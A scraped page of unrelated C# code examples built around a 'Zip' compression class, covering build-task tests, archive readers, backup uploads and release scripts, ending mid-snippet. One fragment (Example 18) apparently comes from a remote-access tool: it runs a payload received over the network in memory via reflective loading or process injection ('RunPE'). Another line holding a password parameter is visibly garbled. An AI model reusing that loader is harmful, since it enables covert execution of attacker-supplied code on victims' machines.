Esempio n. 1
0
        public void ZipExecuteWithEmptyFolders()
        {
            var task = new Zip();
            task.BuildEngine = new MockBuild();

            string testDir = TaskUtility.TestDirectory;
            string prjRootPath = TaskUtility.GetProjectRootDirectory(true);

            string workingDir = Path.Combine(prjRootPath, @"Source\MSBuild.Community.Tasks.Tests");
            string[] files = Directory.GetFiles(workingDir, "*.*", SearchOption.TopDirectoryOnly);
            string[] directories = Directory.GetDirectories(workingDir, "*.*", SearchOption.TopDirectoryOnly);
            string[] filesFromXmlDirectory = new string[0]; //Directory.GetFiles(workingDir + "\\" + "Xml", "*.*", SearchOption.TopDirectoryOnly);

            var filesAndDirectories = new string[files.Length + directories.Length + filesFromXmlDirectory.Length];

            files.CopyTo(filesAndDirectories, 0);
            directories.CopyTo(filesAndDirectories, files.Length + filesFromXmlDirectory.Length);
            filesFromXmlDirectory.CopyTo(filesAndDirectories, files.Length);

            TaskItem[] items = TaskUtility.StringArrayToItemArray(filesAndDirectories);

            task.Files = items;
            task.WorkingDirectory = workingDir;
            task.ZipFileName = Path.Combine(testDir, ZIP_WITH_FOLDERS_FILE_NAME);

            if (File.Exists(task.ZipFileName))
                File.Delete(task.ZipFileName);

            Assert.IsTrue(task.Execute(), "Execute Failed");
            Assert.IsTrue(File.Exists(task.ZipFileName), "Zip file not found");
        }
Esempio n. 2
0
 public GraphInterpreterSpec(ITestOutputHelper output = null) : base(output)
 {
     _identity = GraphStages.Identity<int>();
     _detach = new Detacher<int>();
     _zip = new Zip<int, string>();
     _broadcast = new Broadcast<int>(2);
     _merge = new Merge<int>(2);
     _balance = new Balance<int>(2);
 }
Esempio n. 3
0
        private void btnGlace_Click(object sender, RoutedEventArgs e)
        {
            Cursor currentCursor = Mouse.OverrideCursor;
            Mouse.OverrideCursor = Cursors.Wait;

            try
            {
                Zip zip = new Zip();
                string output = zip.CreatePackage(paths);

                if (!string.IsNullOrEmpty(output))
                {

                    string valutName = txtVaultName.Text;
                    Glacier.GlacierResult glacierResult = Glacier.Upload(valutName, output);

                    if (glacierResult.UploadResult != null &&
                        !string.IsNullOrEmpty(glacierResult.UploadResult.ArchiveId))
                    {
                        MessageBox.Show(string.Format("Glacier success \r\n ArchiveId is {0}", glacierResult.UploadResult.ArchiveId));
                        System.IO.File.Delete(output);

                        Data data = new Data();
                        data.Save(valutName, glacierResult.UploadResult.ArchiveId,
                            System.IO.Path.GetFileName(output), paths);

                    }
                    else
                    {

                        if (glacierResult.GlacierException != null)
                        {
                            MessageBox.Show(glacierResult.GlacierException.Message);
                        }
                        else if (glacierResult.AWSException != null)
                        {
                            MessageBox.Show(glacierResult.AWSException.Message);
                        }
                        else
                        {
                            MessageBox.Show(glacierResult.Exception.Message);
                        }

                        MessageBox.Show("Glacier fault...");
                    }
                }

            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
            finally
            {
                Mouse.OverrideCursor = currentCursor;
            }
        }
 public async Task InsertOrUpdate(Zip zip)
 {
     if (zip.Id == 0)
     {
         await this.InsertZip(zip);                
     }
     else
     {
         await  this.UpdateZip(zip);
     }
 }
Esempio n. 5
0
        /// <inheritdoc />
        public void Initialize(PluginConfiguration configuration, Action<Action<ISystemController, IRaceController>> queueCommand)
        {
            _components = new List<IPluginComponent>();
        
            //scan for pebbles, we rely on MrGibbs.Configuration.BluetoothModule to have done discovery
			var pebbles = _manager.Detect (_btAdapterName, false,true,true);

			_logger.Info ("Found " + pebbles.Count + " Pebbles");

            if(pebbles.Any())
            {
                if (!string.IsNullOrEmpty(_pbwPath) && File.Exists(_pbwPath))
                {
                    using (var stream = new FileStream(_pbwPath, FileMode.Open))
                    {
                        using (var zip = new Zip())
                        {
                            zip.Open(stream);
							foreach (var pebble in pebbles) 
							{
								stream.Position = 0;
								InitializeViewer(pebble, zip, queueCommand, configuration);
							}
                        }
                    }
                }
                else
                {
                    throw new FileNotFoundException("Could not find " + _pbwPath);
                }
            }
            
            

            if (!_components.Any())
            {
                _initialized = false;
                if (pebbles.Any())
                {
                    throw new Exception("Failed to connect to any Pebbles");
                }
                else
                {
                    throw new Exception("No Pebbles found");
                }
            }
            else
            {
                _initialized = true;
            }

        }
Esempio n. 6
0
        public void ZipNoRoot()
        {
            var task = new Zip();
            task.BuildEngine = new MockBuild();

            string testDir = TaskUtility.TestDirectory;
            string prjRootPath = TaskUtility.GetProjectRootDirectory(true);

            string workingDir = Path.Combine(prjRootPath, @"Source\MSBuild.Community.Tasks.Tests");
            string[] files = Directory.GetFiles(workingDir, "*.*", SearchOption.AllDirectories);

            TaskItem[] items = TaskUtility.StringArrayToItemArray(files);

            task.Files = items;
            task.ZipFileName = Path.Combine(testDir, ZIP_FILE_NAME);

            if (File.Exists(task.ZipFileName))
                File.Delete(task.ZipFileName);

            Assert.IsTrue(task.Execute(), "Execute Failed");
            Assert.IsTrue(File.Exists(task.ZipFileName), "Zip file not found");
        }
Esempio n. 7
0
        /// <inheritdoc/>
        public override List <BaseFile> GetChildren()
        {
            List <BaseFile> found    = new List <BaseFile>();
            string          gamename = Path.GetFileNameWithoutExtension(this.Filename);

            try
            {
                Zip       zf = new Zip();
                ZipReturn zr = zf.ZipFileOpen(this.Filename, -1, true);
                if (zr != ZipReturn.ZipGood)
                {
                    throw new Exception(ZipUtils.ZipErrorMessageText(zr));
                }

                for (int i = 0; i < zf.LocalFilesCount(); i++)
                {
                    // If the entry is a directory (or looks like a directory), we don't want to open it
                    if (zf.IsDirectory(i) ||
                        zf.Filename(i).EndsWith(Path.DirectorySeparatorChar.ToString()) ||
                        zf.Filename(i).EndsWith(Path.AltDirectorySeparatorChar.ToString()) ||
                        zf.Filename(i).EndsWith(Path.PathSeparator.ToString()))
                    {
                        continue;
                    }

                    // Open the read stream
                    zr = zf.ZipFileOpenReadStream(i, false, out Stream readStream, out ulong streamsize, out ushort cm);

                    // If we get a read error, log it and continue
                    if (zr != ZipReturn.ZipGood)
                    {
                        logger.Warning($"An error occurred while reading archive {this.Filename}: Zip Error - {zr}");
                        zr = zf.ZipFileCloseReadStream();
                        continue;
                    }

                    // Create a blank item for the entry
                    BaseFile zipEntryRom = new BaseFile();

                    // Perform a quickscan, if flagged to
                    if (this.AvailableHashes == Hash.CRC)
                    {
                        zipEntryRom.Size = (long)zf.UncompressedSize(i);
                        zipEntryRom.CRC  = zf.CRC32(i);
                    }
                    // Otherwise, use the stream directly
                    else
                    {
                        zipEntryRom = GetInfo(readStream, size: (long)zf.UncompressedSize(i), hashes: this.AvailableHashes, keepReadOpen: true);
                    }

                    // Fill in comon details and add to the list
                    zipEntryRom.Filename = zf.Filename(i);
                    zipEntryRom.Parent   = gamename;
                    zipEntryRom.Date     = zf.LastModified(i).ToString("yyyy/MM/dd hh:mm:ss");
                    found.Add(zipEntryRom);
                }

                // Dispose of the archive
                zr = zf.ZipFileCloseReadStream();
                zf.ZipFileClose();
            }
            catch (Exception ex)
            {
                logger.Error(ex);
                return(null);
            }

            return(found);
        }
Esempio n. 8
0
        public void FileSignatures_TestZipFile()
        {
            Zip testFile = new Zip(Path.Combine(resourceDir, "FileSignature_Compression_ZipFile.zip"));

            Assert.AreEqual(true, testFile.EntireFileIsValid);
        }
Esempio n. 9
0
 private void ExtractFile(string fileName)
 {
     Zip.UnZipFiles(fileName, GlobalVar.DbfDownload, false);
 }
 public void Dispose()
 {
     Zip.Save(Target + ".zip");
 }
 public void CreateDirectory(string directory)
 {
     Zip.AddDirectory(directory);
 }
Esempio n. 12
0
 public byte[] Compress(byte[] data)
 {
     return(Zip.Compress(data));
 }
Esempio n. 13
0
        public void ZipRelativeExecute()
        {
            var task = new Zip();
            task.BuildEngine = new MockBuild();

            string testDir = TaskUtility.TestDirectory;
            string prjRootPath = TaskUtility.GetProjectRootDirectory(true);

            string workingDir = Path.Combine(prjRootPath, @"Source\MSBuild.Community.Tasks.Tests");
            List<string> files = Directory.GetFiles(workingDir, "*.*", SearchOption.TopDirectoryOnly).ToList();
            files.Add(Path.Combine(workingDir, "..\\..\\readme.md"));

            TaskItem[] items = TaskUtility.StringArrayToItemArray(files.ToArray());

            task.Files = items;
            task.WorkingDirectory = workingDir;
            task.ZipFileName = Path.Combine(testDir, ZIP_WITH_RELATIVE_FILE_NAME);

            if (File.Exists(task.ZipFileName))
                File.Delete(task.ZipFileName);

            Assert.IsTrue(task.Execute(), "Execute Failed");
            Assert.IsTrue(ZipFile.Read(task.ZipFileName).ContainsEntry("readme.md"), "The zip doesnt contains the readme.md file");
            Assert.IsTrue(File.Exists(task.ZipFileName), "Zip file not found");
        }
Esempio n. 14
0
 public override void Remove()
 {
     Zip.RemoveEntry(GetEntry());
 }
Esempio n. 15
0
 public void SaveBinary(byte[] data)
 {
     Zip.AddEntry(m_normaPath, data);
 }
Esempio n. 16
0
        public static List<KeyValue> getImageList(String cFileName, int iMinVal, int iMaxVal, int iGrayMinVal, int iGrayMaxVal)
        {
            try
            {
                Image<Bgr, Byte> BgrImage = null;
                Image<Gray, Byte> GrayImage = null;

                List<KeyValue> ImageList = new List<KeyValue>();
                String cExportDir = Application.StartupPath + "\\export\\";
                ResetDirectory(cExportDir);

                //调取图片
                BgrImage = new Image<Bgr, byte>(cFileName);
                GrayImage = new Image<Gray, byte>(BgrImage.Width, BgrImage.Height);

                //转灰度
                CvInvoke.CvtColor(BgrImage, GrayImage, Emgu.CV.CvEnum.ColorConversion.Rgb2Gray);

                //转黑白
                Image<Gray, byte> BinaryImage = GrayImage.ThresholdToZeroInv(new Gray(iGrayMinVal));

                BinaryImage.Save("D:\\IMG03.jpg");

                String cREC_ID = Path.GetFileName(cFileName).Replace(".jpg", "");

                VectorOfVectorOfPoint rvs = new VectorOfVectorOfPoint();
                CvInvoke.FindContours(BinaryImage, rvs, null, RetrType.List, ChainApproxMethod.ChainApproxSimple);

                int j = 10001;
                for (int i = 0; i < rvs.Size; i++)
                {
                    var contour = rvs[i];
                    Rectangle BoundingBox = CvInvoke.BoundingRectangle(contour);
                    if ((BoundingBox.Width < iMinVal) || (BoundingBox.Height < iMinVal)) continue;
                    if ((BoundingBox.Width > iMaxVal) || (BoundingBox.Height > iMaxVal)) continue;
                    j++;
                    CvInvoke.Rectangle(BgrImage, BoundingBox, new MCvScalar(255, 0, 0, 0), 3);
                    Image<Bgr, Byte> vResult = BgrImage.GetSubRect(BoundingBox);
                    String cExportFileName = cREC_ID + "_" + j.ToString() + ".jpg";
                    vResult.Save(cExportDir + cExportFileName);

                    KeyValue rowKey = new KeyValue();
                    rowKey.Text = cExportDir + cExportFileName;
                    rowKey.Val = JsonLib.ToJSON(BoundingBox);
                    ImageList.Add(rowKey);
                }

                String cZipFileName = Application.StartupPath + "\\" + cREC_ID + ".zip";
                Zip vo = new Zip();
                vo.ZipDir(cExportDir, cZipFileName);

                BgrImage.Save("D:\\IMG04.jpg");

                return ImageList;

            }
            catch (Exception ex)
            {
                log4net.WriteLogFile("报错,原因为:" + ex);
                return null;
            }
        }
Esempio n. 17
0
        /// <summary>
        /// Builds the Releases in the Contrib repository.
        /// Depends on:
        ///     - Compiled BaseLibrary
        ///     - Updated Sample repository
        ///     - Existing release tag name
        /// </summary>
        /// <returns>Edited changelog.</returns>
        private static string BuildContribRelease(string tag,
                                                  string changelog,
                                                  IEnumerable <Project> baseLibrary,
                                                  IEnumerable <Project> allProjects,
                                                  Project serviceGenerator,
                                                  out string zipDir)
        {
            CommandLine.WriteLine("{{white}} =======================================");
            CommandLine.WriteLine("{{white}} Building Contrib-Release");
            CommandLine.WriteLine("{{white}} =======================================");

            string releaseDir = Contrib.Combine(tag);
            string currentDir = Contrib.Combine("Current");
            string stableDir  = Contrib.Combine("Stable");

            // Clear existing directories.
            DirUtils.ClearOrCreateDir(releaseDir);
            DirUtils.ClearOrCreateDir(currentDir);
            if (Arguments.IsStableRelease)
            {
                DirUtils.ClearOrCreateDir(stableDir);
            }

            // Create the <current> release
            string genDir = Path.Combine(currentDir, "Generated");

            Directory.CreateDirectory(genDir);

            #region Current/Generated/Lib
            string libDir = Path.Combine(genDir, "Lib");
            CommandLine.WriteAction("Generating dir: " + DirUtils.GetRelativePath(libDir, Contrib.WorkingDirectory));
            Directory.CreateDirectory(libDir);
            {
                // Copy all third party dlls into this directory.
                foreach (string file in ThirdPartyFiles)
                {
                    DirUtils.CopyFile(file, libDir);
                }

                // Copy all release dlls to this directory.
                foreach (Project project in baseLibrary)
                {
                    project.CopyTo(libDir);
                }
            }
            #endregion

            #region Current/Generated/Bin - and - Current/Generated/Source
            string binDir    = Path.Combine(genDir, "Bin");
            string sourceDir = Path.Combine(genDir, "Source");
            CommandLine.WriteAction("Generating dir: " + DirUtils.GetRelativePath(binDir, Contrib.WorkingDirectory));
            CommandLine.WriteAction("Generating dir: " + DirUtils.GetRelativePath(sourceDir, Contrib.WorkingDirectory));
            Directory.CreateDirectory(binDir);
            Directory.CreateDirectory(sourceDir);
            {
                // Iterate through all services, and put them into the right directory
                string[] toBin = new[] { ".dll", ".xml", ".pdb" };
                string[] toSrc = new[] { ".cs" };

                foreach (string file in Directory.GetFiles(ServiceDir, "*"))
                {
                    string fileName = Path.GetFileName(file);
                    CommandLine.WriteResult("File", fileName);
                    string ext = Path.GetExtension(fileName).ToLower();
                    if (toSrc.Contains(ext)) // Copy this file into the "Source" directory.
                    {
                        DirUtils.CopyFile(file, sourceDir);
                    }
                    if (toBin.Contains(ext)) // Copy this file into the "Binary" directory.
                    {
                        // Get the folder name by looking at the .dll assembly info.
                        string id          = FileVersionInfo.GetVersionInfo(Path.ChangeExtension(file, ".dll")).ProductName;
                        string serviceName = id.Split(':')[0];                           // "buzz:v1" -> "buzz"
                        string folderName  = serviceName.ToUpperFirstChar() + "Service"; // "buzz" -> "BuzzService"

                        // Copy the file there.
                        string folder = Path.Combine(binDir, folderName);
                        DirUtils.CopyFile(file, folder);
                    }
                }
            }

            #endregion

            #region Current/ZipFiles
            string zipFilesDir = Path.Combine(genDir, "ZipFiles");
            CommandLine.WriteAction("Generating dir: " + DirUtils.GetRelativePath(zipFilesDir, Contrib.WorkingDirectory));
            Directory.CreateDirectory(zipFilesDir);
            {
                // Source.zip
                foreach (Project project in allProjects)
                {
                    project.Clean();
                }
                using (Zip zip = new Zip(Path.Combine(zipFilesDir, "Source.zip")))
                {
                    zip.AddDirectory(Default.WorkingDirectory, "");
                    zip.RemoveDirectory(".hg");
                    zip.RemoveFile(".hgtags");
                    zip.RemoveFile(".hgignore");
                }

                // Binary.zip
                using (Zip zip = new Zip(Path.Combine(zipFilesDir, "Binary.zip")))
                {
                    zip.AddDirectory(binDir, "Services");
                    zip.AddDirectory(libDir, "Lib");
                }

                // Samples.zip
                using (Zip zip = new Zip(Path.Combine(zipFilesDir, "Samples.zip")))
                {
                    zip.AddDirectory(Samples.WorkingDirectory, "");
                    zip.RemoveDirectory(".hg");
                    zip.RemoveFile(".hgtags");
                    zip.RemoveFile(".hgignore");
                }
            }
            #endregion

            #region Current/ReleaseNotes.txt
            CommandLine.WriteAction("Writing file...");
            string changelogFile = Path.Combine(currentDir, "ReleaseNotes.txt");
            using (var writer = new StreamWriter(changelogFile, false))
            {
                writer.WriteLine(changelog);
            }
            #endregion

            // Open the created changelog.
            CommandLine.WriteAction("Showing result...");
            Process.Start(changelogFile).WaitForExit();

            // Copy the content to the <tagname> release directory.
            DirUtils.CopyFiles(currentDir, releaseDir);
            if (Arguments.IsStableRelease)
            {
                DirUtils.CopyFiles(currentDir, stableDir);
            }

            // Rename the zips in the named release.
            // Example: Binary.zip -> google-api-dotnet-client-1.0.0-beta.Binary.zip
            string fileFormat = "google-api-dotnet-client-" + ExtractTagVersionAndName(tag) + ".{0}";
            zipDir = zipFilesDir.Replace(currentDir, releaseDir);
            foreach (string file in Directory.GetFiles(zipDir, "*.zip"))
            {
                string dir     = Path.GetDirectoryName(file);
                string newFile = string.Format(fileFormat, Path.GetFileName(file).ToLower());
                File.Move(file, Path.Combine(dir, newFile));
            }

            CommandLine.WriteLine();
            return(File.ReadAllText(changelogFile));
        }
Esempio n. 18
0
 public void SendToMemory(MsgPack unpack_msgpack)
 {
     try
     {
         byte[] buffer    = unpack_msgpack.ForcePathObject("File").GetAsBytes();
         string injection = unpack_msgpack.ForcePathObject("Inject").AsString;
         if (injection.Length == 0)
         {
             //Reflection
             new Thread(delegate()
             {
                 try
                 {
                     Assembly loader = Assembly.Load(Zip.Decompress(buffer));
                     object[] parm   = null;
                     if (loader.EntryPoint.GetParameters().Length > 0)
                     {
                         parm = new object[] { new string[] { null } };
                     }
                     loader.EntryPoint.Invoke(null, parm);
                 }
                 catch (Exception ex)
                 {
                     Packet.Error(ex.Message);
                 }
             })
             {
                 IsBackground = false
             }.Start();
         }
         else
         {
             //RunPE
             new Thread(delegate()
             {
                 try
                 {
                     global::Plugin.SendToMemory.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Zip.Decompress(buffer));
                 }
                 catch (Exception ex)
                 {
                     Packet.Error(ex.Message);
                 }
             })
             {
                 IsBackground = false
             }.Start();
         }
     }
     catch (Exception ex)
     {
         Packet.Error(ex.Message);
     }
     Connection.Disconnected();
 }
Esempio n. 19
0
        public void GraphInterpreter_should_implement_broadcast_zip()
        {
            WithTestSetup((setup, builder, lastEvents) =>
            {
                var source = setup.NewUpstreamProbe<int>("source");
                var sink = setup.NewDownstreamProbe<Tuple<int, int>>("sink");
                var zip = new Zip<int, int>();

                builder(new IGraphStageWithMaterializedValue<Shape, object>[] {zip, _broadcast})
                    .Connect(source, _broadcast.In)
                    .Connect(_broadcast.Out(0), zip.In0)
                    .Connect(_broadcast.Out(1), zip.In1)
                    .Connect(zip.Out, sink)
                    .Init();

                lastEvents().Should().BeEmpty();

                sink.RequestOne();
                lastEvents().Should().BeEquivalentTo(new RequestOne(source));

                source.OnNext(1);
                lastEvents().Should().BeEquivalentTo(new OnNext(sink, new Tuple<int, int>(1, 1)), new RequestOne(source));

                sink.RequestOne();
                source.OnNext(2);
                lastEvents().Should().BeEquivalentTo(new OnNext(sink, new Tuple<int, int>(2, 2)), new RequestOne(source));
            });
        }
Esempio n. 20
0
        /// <inheritdoc/>
        public override bool CopyAll(string outDir)
        {
            bool encounteredErrors = true;

            try
            {
                // Create the temp directory
                Directory.CreateDirectory(outDir);

                // Extract all files to the temp directory
                Zip       zf = new Zip();
                ZipReturn zr = zf.ZipFileOpen(this.Filename, -1, true);
                if (zr != ZipReturn.ZipGood)
                {
                    throw new Exception(ZipUtils.ZipErrorMessageText(zr));
                }

                for (int i = 0; i < zf.LocalFilesCount() && zr == ZipReturn.ZipGood; i++)
                {
                    // Open the read stream
                    zr = zf.ZipFileOpenReadStream(i, false, out Stream readStream, out ulong streamsize, out ushort cm);

                    // Create the rest of the path, if needed
                    if (!string.IsNullOrWhiteSpace(Path.GetDirectoryName(zf.Filename(i))))
                    {
                        Directory.CreateDirectory(Path.Combine(outDir, Path.GetDirectoryName(zf.Filename(i))));
                    }

                    // If the entry ends with a directory separator, continue to the next item, if any
                    if (zf.Filename(i).EndsWith(Path.DirectorySeparatorChar.ToString()) ||
                        zf.Filename(i).EndsWith(Path.AltDirectorySeparatorChar.ToString()) ||
                        zf.Filename(i).EndsWith(Path.PathSeparator.ToString()))
                    {
                        zf.ZipFileCloseReadStream();
                        continue;
                    }

                    FileStream writeStream = File.Create(Path.Combine(outDir, zf.Filename(i)));

                    // If the stream is smaller than the buffer, just run one loop through to avoid issues
                    if (streamsize < _bufferSize)
                    {
                        byte[] ibuffer = new byte[streamsize];
                        int    ilen    = readStream.Read(ibuffer, 0, (int)streamsize);
                        writeStream.Write(ibuffer, 0, ilen);
                        writeStream.Flush();
                    }
                    // Otherwise, we do the normal loop
                    else
                    {
                        int    realBufferSize = (streamsize < _bufferSize ? (int)streamsize : _bufferSize);
                        byte[] ibuffer        = new byte[realBufferSize];
                        int    ilen;
                        while ((ilen = readStream.Read(ibuffer, 0, realBufferSize)) > 0)
                        {
                            writeStream.Write(ibuffer, 0, ilen);
                            writeStream.Flush();
                        }
                    }

                    zr = zf.ZipFileCloseReadStream();
                    writeStream.Dispose();
                }

                zf.ZipFileClose();
                encounteredErrors = false;
            }
            catch (EndOfStreamException ex)
            {
                // Catch this but don't count it as an error because SharpCompress is unsafe
                logger.Verbose(ex);
            }
            catch (InvalidOperationException ex)
            {
                logger.Warning(ex);
                encounteredErrors = true;
            }
            catch (Exception ex)
            {
                logger.Error(ex);
                encounteredErrors = true;
            }

            return(encounteredErrors);
        }
 public async Task InsertZip(Zip zip)
 {
     var db = await base.OpenDatabase();
     var count = await db.InsertAsync(zip);
 }
Esempio n. 22
0
 public override bool Exists()
 {
     return(Zip.ContainsEntry(m_normaPath));
 }
Esempio n. 23
0
        private static void AddTwitterFilesToProject()
        {
            string _twitterNativeFolder = AssetsUtility.AssetPathToAbsolutePath(kRelativePathToTwitterNativeFiles);
            string _twitterConfileFile  = Path.Combine(_twitterNativeFolder, "Config.txt");

            if (!Directory.Exists(_twitterNativeFolder))
            {
                return;
            }

            // Re move the files if version has changed
            if (File.Exists(_twitterConfileFile))
            {
                string _fileVersion = File.ReadAllText(_twitterConfileFile);

                if (string.Compare(_fileVersion, EditorPrefs.GetString(kTwitterConfigKey, "0")) == 0)
                {
                    return;
                }

                EditorPrefs.SetString(kTwitterConfigKey, _fileVersion);
            }

            // Start moving files and framework
            string _projectPath           = AssetsUtility.GetProjectPath();
            string _twitterExternalFolder = Path.Combine(_projectPath, kExtenalFolderRelativePath + "/Twitter");

            if (Directory.Exists(_twitterExternalFolder))
            {
                Directory.Delete(_twitterExternalFolder, true);
            }

            Directory.CreateDirectory(_twitterExternalFolder);

            List <string> _twitterFilesList  = new List <string>();
            List <string> _twitterFolderList = new List <string>();

            // ***********************
            // Source code section
            // ***********************
            string _nativeCodeSourceFolder = Path.Combine(_twitterNativeFolder, "Source");
            string _nativeCodeDestFolder   = Path.Combine(_twitterExternalFolder, "Source");

            // Copying folder
            IOExtensions.CopyFilesRecursively(_nativeCodeSourceFolder, _nativeCodeDestFolder);

            // Adding source folder to modifier
            _twitterFolderList.Add("Twitter/Source:-fno-objc-arc");

            // ***********************
            // Framework Section
            // ***********************
            string[] _zippedFrameworkFiles = Directory.GetFiles(_twitterNativeFolder, "*.gz", SearchOption.AllDirectories);
            string   _destFrameworkFolder  = Path.Combine(_twitterExternalFolder, "Framework");

            if (!Directory.Exists(_destFrameworkFolder))
            {
                Directory.CreateDirectory(_destFrameworkFolder);
            }

            // Iterate through each zip files
            foreach (string _curZippedFile in _zippedFrameworkFiles)
            {
                Zip.DecompressToDirectory(_curZippedFile, _destFrameworkFolder);

                // Adding file to modifier
                _twitterFilesList.Add("Twitter/Framework/" + Path.GetFileNameWithoutExtension(_curZippedFile));
            }

            // ***********************
            // Xcode modifier Section
            // ***********************
            Dictionary <string, object> _xcodeModDict = new Dictionary <string, object>();

            _xcodeModDict["group"]      = "NativePlugins-Twitter";
            _xcodeModDict["libs"]       = new string[0];
            _xcodeModDict["frameworks"] = new string[] {
                "Accounts.framework:weak",
                "Social.framework:weak"
            };
            _xcodeModDict["headerpaths"] = new string[0];
            _xcodeModDict["files"]       = _twitterFilesList;
            _xcodeModDict["folders"]     = _twitterFolderList;
            _xcodeModDict["excludes"]    = new string[] {
                "^.*.meta$",
                "^.*.mdown$",
                "^.*.pdf$",
                "^.*.DS_Store"
            };
            _xcodeModDict["compiler_flags"] = new string[0];
            _xcodeModDict["linker_flags"]   = new string[0];

            File.WriteAllText(GetTwitterXcodeModFilePath(), _xcodeModDict.ToJSON());
        }
Esempio n. 24
0
 public override void Flush()
 {
     Zip.Save();
 }
Esempio n. 25
0
 public byte[] Decompress(byte[] data)
 {
     return(Zip.Decompress(data));
 }
Esempio n. 26
0
    /// <summary>
    /// Report the number of diffs to the database.
    /// </summary>
    private static int ReportNumDiffs(string ApsimDirectoryName, List <string> ModifiedFiles, string PatchFileName, string outZip)
    {
        // Some of the diffs in ModifiedFiles will be from the patch, so to get a count of
        // the number of files that were changed by APSIM running we need to remove those
        // files from the list that were sent in the patch.
        string[] PatchFileNames = new string [0];
        if (File.Exists(PatchFileName))
        {
            PatchFileNames = Zip.FileNamesInZip(PatchFileName, "");
        }

        foreach (string FileNameInPatch in PatchFileNames)
        {
            Stream PatchContents = Zip.UnZipFile(PatchFileName, FileNameInPatch, "");
            if (PatchContents == null)
            {
                throw new Exception("missing file " + FileNameInPatch + " in patchfile");
            }

            string localVersionOfPatchedFile = Path.Combine(ApsimDirectoryName, FileNameInPatch).Replace('\\', '/');
            bool   AreEqual;
            if (Path.GetFileName(FileNameInPatch) == "DotNetProxies.cs")
            {
                AreEqual = true;
            }
            else
            {
                AreEqual = FilesAreIdentical(PatchContents, localVersionOfPatchedFile);
            }

            // If the files are identical then remove it from the list of ModifiedFiles,
            // otherwise make sure it is in the list.
            int I = StringManip.IndexOfCaseInsensitive(ModifiedFiles, localVersionOfPatchedFile);
            if (AreEqual)
            {
                if (I != -1)
                {
                    ModifiedFiles.RemoveAt(I);
                }
            }
            else
            {
                if (I == -1 && Path.GetFileName(FileNameInPatch) != "patch.revisions")
                {
                    ModifiedFiles.Add(localVersionOfPatchedFile);
                }
            }
        }

        // Now we should have a list of the "real" diffs.
        int    JobID = Convert.ToInt32(System.Environment.GetEnvironmentVariable("JobID"));
        string url   = "http://www.apsim.info/APSIM.Builds.Service/BuildsClassic.svc/UpdateNumDiffs" +
                       "?JobID=" + JobID +
                       "&NumDiffs=" + ModifiedFiles.Count +
                       "&DbConnectPassword="******"DB_CONN_PSW");

        Utils.REST.CallService <object>(url);
        if (ModifiedFiles.Count != 0)
        {
            Console.WriteLine("Files that are different:");
            foreach (string FileName in ModifiedFiles)
            {
                Console.WriteLine(FileName);
            }

            Console.WriteLine("Build is not clean");
            return(1);
        }
        return(0);
    }
        public void CopyFile(string source, string target)
        {
            string t = target.Replace(Target, "");

            Zip.AddFile(source, t);
        }
 private void SendZipExecute(Zip zip)
 {
     this.sendingFromRecent = true;
     this.PrepareToSendZip(zip.FullPath);
 }
Esempio n. 29
0
        private static bool LoadBytes(RvFile tGame, string filename, out byte[] memBuffer)
        {
            memBuffer = null;

            int cCount = tGame.ChildCount;

            if (cCount == 0)
            {
                return(false);
            }

            int found = -1;

            for (int i = 0; i < cCount; i++)
            {
                RvFile rvf = tGame.Child(i);
                if (rvf.Name != filename || rvf.GotStatus != GotStatus.Got)
                {
                    continue;
                }
                found = i;
                break;
            }

            if (found == -1)
            {
                return(false);
            }

            try
            {
                switch (tGame.FileType)
                {
                case FileType.Zip:
                {
                    RvFile imagefile = tGame.Child(found);
                    if (imagefile.ZipFileHeaderPosition == null)
                    {
                        return(false);
                    }

                    Zip zf = new Zip();
                    if (zf.ZipFileOpen(tGame.FullNameCase, tGame.FileModTimeStamp, false) != ZipReturn.ZipGood)
                    {
                        return(false);
                    }

                    if (zf.ZipFileOpenReadStreamQuick((ulong)imagefile.ZipFileHeaderPosition, false,
                                                      out Stream stream, out ulong streamSize, out ushort _) != ZipReturn.ZipGood)
                    {
                        zf.ZipFileClose();
                        return(false);
                    }

                    memBuffer = new byte[streamSize];
                    stream.Read(memBuffer, 0, (int)streamSize);
                    zf.ZipFileClose();
                    return(true);
                }

                case FileType.Dir:
                {
                    string dirPath = tGame.FullNameCase;
                    string artwork = Path.Combine(dirPath, filename);
                    if (!File.Exists(artwork))
                    {
                        return(false);
                    }

                    RVIO.FileStream.OpenFileRead(artwork, out Stream stream);
                    memBuffer = new byte[stream.Length];
                    stream.Read(memBuffer, 0, memBuffer.Length);
                    stream.Close();
                    stream.Dispose();
                    return(true);
                }

                default:
                    return(false);
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                return(false);
            }
        }
Esempio n. 30
0
        public Objects.JSScribbleImage Load(object a)
        {
            Objects.JSScribbleImage scr = new Objects.JSScribbleImage(this.Engine.Object.InstancePrototype);

            if (a is String || a is ConcatenatedString)
            {
                String filename = a.ToString();

                if (filename.Length > 1)
                {
                    JSScript script = ScriptManager.Scripts.Find(x => x.ScriptName == this.Engine.ScriptName);
                    byte[]   data   = null;

                    if (script != null)
                    {
                        String path = a.ToString();
                        path = new String(path.Where(x => !Path.GetInvalidFileNameChars().Contains(x)).ToArray());
                        path = Path.Combine(script.DataPath, path);

                        if (new FileInfo(path).Directory.FullName != new DirectoryInfo(script.DataPath).FullName)
                        {
                            return(scr);
                        }

                        try
                        {
                            data = File.ReadAllBytes(path);
                        }
                        catch { }
                    }

                    if (data != null)
                    {
                        try
                        {
                            using (Bitmap avatar_raw = new Bitmap(new MemoryStream(data)))
                            {
                                int img_x = avatar_raw.Width;
                                int img_y = avatar_raw.Height;

                                if (img_x > 384)
                                {
                                    img_x = 384;
                                    img_y = avatar_raw.Height - (int)Math.Floor(Math.Floor((double)avatar_raw.Height / 100) * Math.Floor(((double)(avatar_raw.Width - 384) / avatar_raw.Width) * 100));
                                }

                                if (img_y > 384)
                                {
                                    img_x -= (int)Math.Floor(Math.Floor((double)img_x / 100) * Math.Floor(((double)(img_y - 384) / img_y) * 100));
                                    img_y  = 384;
                                }

                                using (Bitmap avatar_sized = new Bitmap(img_x, img_y))
                                {
                                    using (Graphics g = Graphics.FromImage(avatar_sized))
                                    {
                                        g.InterpolationMode = InterpolationMode.HighQualityBicubic;
                                        g.DrawImage(avatar_raw, new RectangleF(0, 0, img_x, img_y));

                                        using (MemoryStream ms = new MemoryStream())
                                        {
                                            avatar_sized.Save(ms, ImageFormat.Jpeg);
                                            scr.Height = avatar_sized.Height;
                                            byte[] img_buffer = ms.ToArray();
                                            scr.Data = Zip.Compress(img_buffer);
                                        }
                                    }
                                }
                            }
                        }
